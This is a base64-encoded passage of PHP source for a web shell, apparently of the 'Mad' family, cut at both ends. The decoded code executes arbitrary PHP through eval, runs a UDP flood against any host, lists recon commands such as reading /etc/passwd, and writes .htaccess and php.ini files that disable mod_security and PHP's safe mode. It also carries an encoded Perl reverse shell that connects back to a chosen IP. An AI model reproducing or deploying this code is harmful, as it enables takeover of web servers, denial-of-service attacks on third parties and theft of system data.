Ow0KCQljYXNlICdyZW5hbWUnOg0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCWlmKCFAcmVuYW1lKCRfUE9TVFsncDEnXSwgJF9QT1NUWydwMyddKSkNCgkJCQkJZWNobyAnQ2FuXCd0IHJlbmFtZSE8YnI+JzsNCgkJCQllbHNlDQoJCQkJCWRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCwiJy51cmxlbmNvZGUoJF9QT1NUWydwMyddKS4nIixudWxsLCIiKTwvc2NyaXB0PicpOw0KCQkJfQ0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLm5hbWUudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1lIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCgkJCWJyZWFrOw0KCQljYXNlICd0b3VjaCc6DQoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQoJCQkJJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydwMyddKTsNCgkJCQlpZigkdGltZSkgew0KCQkJCQlpZighdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKSkNCgkJCQkJCWVjaG8gJ0ZhaWwhJzsNCgkJCQkJZWxzZQ0KCQkJCQkJZWNobyAnVG91Y2hlZCEnOw0KCQkJCX0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhJzsNCgkJCX0NCgkJCWNsZWFyc3RhdGNhY2hlKCk7DQoJCQllY2hvICc8c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgl9DQoJZWNobyAnPC9kaXY+JzsNCgltYWRGb290ZXIoKTsNCn0gIA0KDQpmdW5jdGlvbiBtYWRwaHBldmFsKCkNCnsNCiAgICBtYWRoZWFkKCk7DQogICAgDQogICAgaWYoaXNzZXQoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMiddID09ICdpbmknKSkgew0KCQllY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOw0KCQlvYl9zdGFydCgpOw0KCQkkSU5JPWluaV9nZXRfYWxsKCk7IA0KcHJpbnQgJzx0YWJsZSBib3JkZXI9MD48dHI+Jw0KCS4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Zm9udCBjbGFzcz0iaGlnaGxpZ2h0X3R4dCI+UGFyYW08L3RkPicNCgkuJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGZvbnQgY2xhc3M9ImhpZ2hsaWdodF90eHQiPkdsb2JhbCB2YWx1ZTwvdGQ+Jw0KCS4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Zm9udCBjbGFzcz0iaGlnaGxpZ2h0X3R4dCI+TG9jYWwgVmFsdWU8L3RkPicNCgkuJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGZvbnQgY2xhc3M9ImhpZ2hsaWdodF90eHQiPkFjY2VzczwvdGQ+PC90cj4nOw0KZm9yZWFjaCAoJElOSSBhcyAkcGFyYW0gPT4gJHZhbHVlcykgDQoJcHJpbnQgIlxuIi4nPHRyPicNCgkJLic8dGQgY2xhc3M9Imxpc3RpbmciPjxiPicuJHBhcmFtLic8L3RkPicNCgkJLic8dGQgY2xhc3M9Imxpc3RpbmciPicuJHZhbHVlc1snZ2xvYmFsX3ZhbHVlJ10uJyA8L3RkPicNCgkJLic8dGQgY2xhc3M9Imxpc3RpbmciPicuJHZhbHVlc1snbG9jYWxfdmFsdWUnXS4nIDwvdGQ+Jw0KCQkuJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydhY2Nlc3MnXS4nIDwvdGQ+PC90cj4nOw0KCQkkdG1wID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyEoYm9keXxhOlx3K3xib2R5LCB0ZCwgdGgsIGgxLCBoMikgey4qfSFtc2lVJywnJywkdG1wKTsNCgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOw0KCQllY2hvIHN0cl9yZXBsYWNlKCc8aDEnLCc8aDInLCAkdG1wKSAuJzwvZGl2Pjxicj4nOw0KCX0NCiAgICANCiAgICBpZihpc3NldCgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AyJ10gPT0gJ2luZm8nKSkgew0KCQllY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48c3R5bGU+LnAge2NvbG9yOiMwMDA7fTwvc3R5bGU+JzsNCgkJb2Jfc3RhcnQoKTsNCgkJcGhwaW5mbygpOw0KCQkkdG1wID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyEoYm9keXxhOlx3K3xib2R5LCB0ZCwgdGgsIGgxLCBoMikgey4qfSFtc2lVJywnJywkdG1wKTsNCgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOw0KCQllY2hvIHN0cl9yZXBsYWNlKCc8aDEnLCc8aDInLCAkdG1wKSAuJzwvZGl2Pjxicj4nOw0KCX0NCiAgICANCiAgICBpZihpc3NldCgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AyJ10gPT0gJ2V4dGVuJykpIHsNCgkJZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsNCgkJb2Jfc3RhcnQoKTsNCgkgICAgICRFWFQ9Z2V0X2xvYWRlZF9leHRlbnNpb25zICgpOw0KICAgICBwcmludCAnPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQgY2xhc3M9Imxpc3RpbmciPicNCgkuaW1wbG9kZSgnPC90ZD48L3RyPicuIlxuIi4nPHRyPjx0ZCBjbGFzcz0ibGlzdGluZyI+JywgJEVYVCkNCgkuJzwvdGQ+PC90cj48L3RhYmxlPicNCgkuY291bnQoJEVYVCkuJyBleHRlbnNpb25zIGxvYWRlZCc7DQoJCQ0KICAgICAgICANCiAgICAgICAgZWNobyAnPC9kaXY+PGJyPic7DQoJfQ0KICAgIA0KICAgIA0KCWlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSAmJiAhZW1wdHkoJF9QT1NUWydwMSddKSkNCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA9IGZhbHNlOw0KICAgIGVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxDZW50ZXI+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5pXCcpIj58IElOSV9JTkZPIHwgPC9hPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwncGhwZXZhbFwnLG51bGwsXCdcJyxcJ2luZm9cJykiPiAgICB8IHBocGluZm8gfDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhcJ3BocGV2YWxcJyxudWxsLFwnXCcsXCdleHRlblwnKSI+ICAgfCBleHRlbnNpb25zICB8PC9hPjwvY2VudGVyPjxicj48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJnKFwncGhwZXZhbFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpOyByZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydwMSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxjZW50ZXI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij48L2NlbnRlcj4nOw0KCWVjaG8gJzwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCWV2YWwoJF9QT1NUWydwMSddKTsNCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsNCgl9DQoJZWNobyAnPC9wcmU+PC9kaXY+JzsNCiAgDQogICAgbWFkZm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIG1hZGhhc2goKQ0Kew0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYmluaGV4JykpIHtmdW5jdGlvbiBiaW5oZXgoJHApIHtyZXR1cm4gZGVjaGV4KGJpbmRlYygkcCkpO319DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0NCglpZighZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkge2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gc3ByaW50ZignJTAyWCcsb3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQ0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319DQoJJHN0cmluZ1Rvb2xzID0gYXJyYXkoDQoJCSdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsDQoJCSdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsDQogICAgICAgICdtZDUgaGFzaCcgPT4gJ21kNScsDQoJCSdzaGExIGhhc2gnID0+ICdzaGExJywNCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLA0KCQknQ1JDMzInID0+ICdjcmMzMicsDQoJCSdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywNCgkJJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLA0KCQknRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsDQoJCSdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsDQoJCQ0KCSk7DQoJDQoJbWFkaGVhZCgpOw0KCWVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7DQoJaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsNCgllY2hvICI8Zm9ybSAgb25TdWJtaXQ9J2cobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTsgcmV0dXJuIGZhbHNlOyc+PHNlbGVjdCBuYW1lPSdzZWxlY3RUb29sJz4iOw0KCWZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KQ0KCQllY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7DQoJCWVjaG8gIjwvc2VsZWN0PjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+PicvPjxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iLihlbXB0eSgkX1BPU1RbJ3AxJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDInXSkpLiI8L3RleHRhcmVhPjwvZm9ybT48cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuIm1hcmdpbi10b3A6NXB4JyBpZD0nc3RyT3V0cHV0Jz4iOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOw0KCX0NCgllY2hvICI8L2Rpdj4iOw0KCW1hZEZvb3RlcigpOw0KICAgIA0KfQ0KQCRkb3MgPSAkX0dFVFsnZG9zJ107DQppZigkZG9zPT0icnVuIil7DQoNCiAgICAgICAgJHBhY2tldHM9MDsNCgkJaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7CQ0KDQoJCSRob3N0ID0gQCRfR0VUWydob3N0J107DQoJCSRleGVjX3RpbWUgPSRfR0VUWyd0aW1lJ107DQoJCSRwb3J0dWRwID0gQCRfR0VUWydwb3J0J107DQoJDQogICAgICAgICR0aW1lPXRpbWUoKTsNCiAgICAgICAgJG1heF90aW1lPSRleGVjX3RpbWUrJHRpbWU7DQogICAgICAgIA0KICAgICAgICANCiAgICAgICAgZm9yKCRpPTA7JGk8NjUwMDA7JGkrKykNCiAgICAgICAgew0KICAgICAgICAgICAgJG91dCAuPSAnWCc7DQogICAgICAgIH0NCiAgICAgICAgd2hpbGUoMSl7DQogICAgDQogICAgICAgICAkcGFja2V0cysrOw0KICAgICAgICAgICAgaWYodGltZSgpID4gJG1heF90aW1lKXsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgICRmcCA9IGZzb2Nrb3BlbigndWRwOi8vJy4kaG9zdCwgJHBvcnR1ZHAsICRlcnJubywgJGVycnN0ciwgNSk7DQogICAgICAgICAgICBpZigkZnApew0KICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGZwLCAkb3V0KTsNCiAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICBlY2hvICIkcGFja2V0cyAoIiAuIHJvdW5kKCgkcGFja2V0cyo2NSkvMTAyNCwgMikgLiAiIE1CKSBwYWNrZXRzIGF2ZXJhZ2luZyAiLiByb3VuZCgkcGFja2V0cy8kZXhlY190aW1lLCAyKSAuICIgcGFja2V0cyBwZXIgc2Vjb25kIjsNCiAgICAgICAgIGVjaG8gIjwvcHJlPiI7DQogDQp9DQpmdW5jdGlvbiBtYWRkb3MoKQ0Kew0KICAgIG1hZGhlYWQoKTsNCiAgICBlY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOw0KICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOw0KICBlY2hvICc8Y2VudGVyPjxzcGFuPnwgVURQIERPU1NJRVIgfDwvc3Bhbj48YnI+PGJyPjxmb3JtIG9uU3VibWl0PSJnKG51bGwsbnVsbCx0aGlzLnVkcGhvc3QudmFsdWUsdGhpcy51ZHB0aW1lLnZhbHVlLHRoaXMudWRwcG9ydC52YWx1ZSk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD1QT1NUPjxzcGFuPkhvc3QgOjwvc3Bhbj48aW5wdXQgbmFtZT0idWRwaG9zdCIgdHlwZT0idGV4dCIgIHNpemU9IjI1IiAvPjxzcGFuPlRpbWUgOjwvc3Bhbj48aW5wdXQgbmFtZT0idWRwdGltZSIgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIC8+PHNwYW4+UG9ydCA6PC9zcGFuPjxpbnB1dCBuYW1lPSJ1ZHBwb3J0IiB0eXBlPSJ0ZXh0IiBzaXplPSIxMCIgLz48aW5wdXQgIHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4+IiAvPjwvZm9ybT48L2NlbnRlcj4nOw0KICBlY2hvICI8cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuIm1hcmdpbi10b3A6NXB4JyA+IjsNCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSAmJiAhZW1wdHkoJF9QT1NUWydwMyddKSkNCiAgICB7DQogICAgICAgICRwYWNrZXRzPTA7DQoJCWlnbm9yZV91c2VyX2Fib3J0KHRydWUpOwkNCiAgICAgICANCiAgICAgICAgJGV4ZWNfdGltZT0kX1BPU1RbJ3AyJ107DQoJCSRob3N0PSRfUE9TVFsncDEnXTsNCgkJJHBvcnR1ZHA9JF9QT1NUWydwMyddOw0KCQ0KICAgICAgICAkdGltZT10aW1lKCk7DQogICAgICAgICRtYXhfdGltZT0kZXhlY190aW1lKyR0aW1lOw0KICAgICAgICANCiAgICAgICAgDQogICAgICAgIGZvcigkaT0wOyRpPDY1MDAwOyRpKyspDQogICAgICAgIHsNCiAgICAgICAgICAgICRvdXQgLj0gJ1gnOw0KICAgICAgICB9DQogICAgICAgIHdoaWxlKDEpew0KICAgIA0KICAgICAgICAgJHBhY2tldHMrKzsNCiAgICAgICAgICAgIGlmKHRpbWUoKSA+ICRtYXhfdGltZSl7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZnAgPSBmc29ja29wZW4oJ3VkcDovLycuJGhvc3QsICRwb3J0dWRwLCAkZXJybm8sICRlcnJzdHIsIDUpOw0KICAgICAgICAgICAgaWYoJGZwKXsNCiAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgJG91dCk7DQogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgZWNobyAiJHBhY2tldHMgKCIgLiByb3VuZCgoJHBhY2tldHMqNjUpLzEwMjQsIDIpIC4gIiBNQikgcGFja2V0cyBhdmVyYWdpbmcgIi4gcm91bmQoJHBhY2tldHMvJGV4ZWNfdGltZSwgMikgLiAiIHBhY2tldHMgcGVyIHNlY29uZCI7DQogICAgICAgICBlY2hvICI8L3ByZT4iOw0KICAgIH0NCiAgICANCiAgICBlY2hvICc8L2Rpdj4nOyANCiAgIA0KICAgIG1hZGZvb3RlcigpOyAgICAgICAgDQp9DQoNCmZ1bmN0aW9uIG1hZHByb2MoKQ0Kew0KICAgIG1hZGhlYWQoKTsNCiAgICBlY2hvICI8RGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPiI7DQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCiAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsNCiAgaWYoJEdMT0JBTFNbJ3N5cyddPT0id2luIikNCiAgew0KICAgICRwcm9jZXNzPWFycmF5KA0KICAgICJTeXN0ZW0gSW5mbyIgPT4ic3lzdGVtaW5mbyIsDQogICAgIkFjdGl2ZSBDb25uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwNCiAJIlJ1bm5pbmcgU2VydmljZXMiID0+ICJuZXQgc3RhcnQiLA0KIAkiVXNlciBBY2NvdW50cyIgPT4gIm5ldCB1c2VyIiwNCiAJIlNob3cgQ29tcHV0ZXJzIiA9PiAibmV0IHZpZXciLA0KICAgICJBUlAgVGFibGUiID0+ICJhcnAgLWEiLA0KICAgICJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCINCiAgICApOw0KICAgIH0NCiAgZWxzZQ0KICB7IA0KICAgICRwcm9jZXNzPWFycmF5KA0KICAgICJQcm9jZXNzIHN0YXR1cyIgPT4gInBzIGF1eCIsDQogICAgIlN5c2xvZyIgPT4iY2F0ICAvZXRjL3N5c2xvZy5jb25mIiwNCiAgICAiUmVzb2x2IiA9PiAiY2F0ICAvZXRjL3Jlc29sdi5jb25mIiwNCiAgICAiSG9zdHMiID0+ImNhdCAvZXRjL2hvc3RzIiwNCiAgICAiUGFzc3dkIiA9PiJjYXQgL2V0Yy9wYXNzd2QiLA0KICAgICJDcHVpbmZvIj0+ImNhdCAvcHJvYy9jcHVpbmZvIiwNCiAgICAiVmVyc2lvbiI9PiJjYXQgL3Byb2MvdmVyc2lvbiIsDQogICAgIlNiaW4iPT4ibHMgLWFsIC91c3Ivc2JpbiIsDQogICAgIkludGVycnVwdHMiPT4iY2F0IC9wcm9jL2ludGVycnVwdHMiLA0KICAgICJsc2F0dHIiPT4ibHNhdHRyIC12YSIsDQogICAgIlVwdGltZSI9PiJ1cHRpbWUiLA0KICAgICJGc3RhYiIgPT4iY2F0IC9ldGMvZnN0YWIiLA0KICAgICJIREQgU3BhY2UiID0+ICJkZiAtaCINCiAgICApO30NCiAgICANCiAgICBmb3JlYWNoKCRwcm9jZXNzIGFzICRuID0+ICRsaW5rKQ0KICAgIHsNCiAgICAgICAgZWNobyAnPGEgaHJlZj0iIyIgb25jbGljaz0iZyhudWxsLG51bGwsXCcnLiRsaW5rLidcJykiPiB8ICcuJG4uJyB8IDwvYT4nOw0KICAgIH0NCiAgICBlY2hvICI8L2NlbnRlcj4iOyANCiAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpDQogICAgIHsNCiAgICAgICAgZWNobyAiPHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnID4iOw0KICAgICAgICBlY2hvIG1hZEV4KCRfUE9TVFsncDEnXSk7DQogICAgICAgIGVjaG8gJzwvcHJlPic7DQogICAgIH0NCiAgICAgZWNobyAiPC9kaXY+IjsNCiAgICAgbWFkZm9vdGVyKCk7DQogICAgIH0NCiAgICAgDQpmdW5jdGlvbiBtYWRzYWZlKCkNCnsNCiAgICBtYWRoZWFkKCk7DQogICAgZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48aDM+PHNwYW4+fCBTQUZFIE1PREUgQU5EIE1PRCBTRUNVUklUWSBESVNBQkxFRCBBTkQgUEVSTCA1MDAgSU5URVJOQUwgRVJST1IgQllQQVNTIHw8L3NwYW4+PC9oMz5Gb2xsb3dpbmcgcGhwLmluaSBhbmQgLmh0YWNjZXNzKG1vZCkgYW5kIHBlcmwoLmh0YWNjZXNzKVtjb252ZXJ0IHBlcmwgZXh0ZW50aW9uICoucGwgPT4gKi5zaCAgXSBmaWxlcyBjcmVhdGUgaW4gZm9sbG93aW5nIGRpcjxicj58ICIuJEdMT0JBTFNbJ2N3ZCddLiIgfDxicj4iOw0KICAgIGVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3BocC5pbmlcJyxudWxsKSI+fCBQSFAuSU5JIHwgPC9hPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLFwnaW5pXCcpIj58IC5odGFjY2VzcyhNb2QpIHwgPC9hPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLG51bGwsXCdzaFwnKSI+fCAuaHRhY2Nlc3MocGVybCkgfCA8L2E+PC9jZW50ZXI+JzsNCiAgICBpZighZW1wdHkoJF9QT1NUWydwMiddKSAmJiBpc3NldCgkX1BPU1RbJ3AyJ10pKQ0KICAgIHsNCiAgICAkZmlsPWZvcGVuKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwidyIpOw0KICAgIGZ3cml0ZSgkZmlsLCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQpTZWMtLS0tLS1FbmdpbmUgT2ZmDQpTZWMtLS0tLS1TY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+Jyk7DQogICAgZmNsb3NlKCRmaWwpOw0KICAgfQ0KICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkmJiBpc3NldCgkX1BPU1RbJ3AxJ10pKQ0KICAgew0KICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiJwaHAuaW5pIiwidyIpOw0KICAgICAgZndyaXRlKCRmaWwsJ3NhZmVfbW9kZT1PRkYNCmRpc2FibGVfZnVuY3Rpb25zPU5PTkUnKTsNCiAgICAgZmNsb3NlKCRmaWwpOw0KICAgIH0NCiAgICBpZighZW1wdHkoJF9QT1NUWydwMyddKSAmJiBpc3NldCgkX1BPU1RbJ3AzJ10pKQ0KICAgIHsNCiAgICAkZmlsPWZvcGVuKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwidyIpOw0KICAgIGZ3cml0ZSgkZmlsLCdPcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZXhlcyBFeGVjQ0dJDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5zaA0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbCcpOw0KICAgICBmY2xvc2UoJGZpbCk7IA0KICAgIH0NCiAgICBlY2hvICI8YnI+PC9kaXY+IjsNCiAgICBtYWRmb290ZXIoKTsNCiAgICANCn0NCg0KZnVuY3Rpb24gbWFkY29ubmVjdCgpDQp7DQogbWFkaGVhZCgpOw0KICRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOw0KIGVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGgzPjxzcGFuPnwgUEVSTCBBTkQgUEhQKHRocmVhZHMpIEJBQ0sgQ09OTkVDVCB8PC9zcGFuPjwvaDM+IjsNCiBlY2hvICI8Zm9ybSAgb25TdWJtaXQ9XCJnKG51bGwsbnVsbCwnYmNwJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5QRVJMIEJBQ0sgQ09OTkVDVDwvc3Bhbj48YnI+SVA6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nNDQzJz4gPGlucHV0IHR5cGU9c3VibWl0IHZhb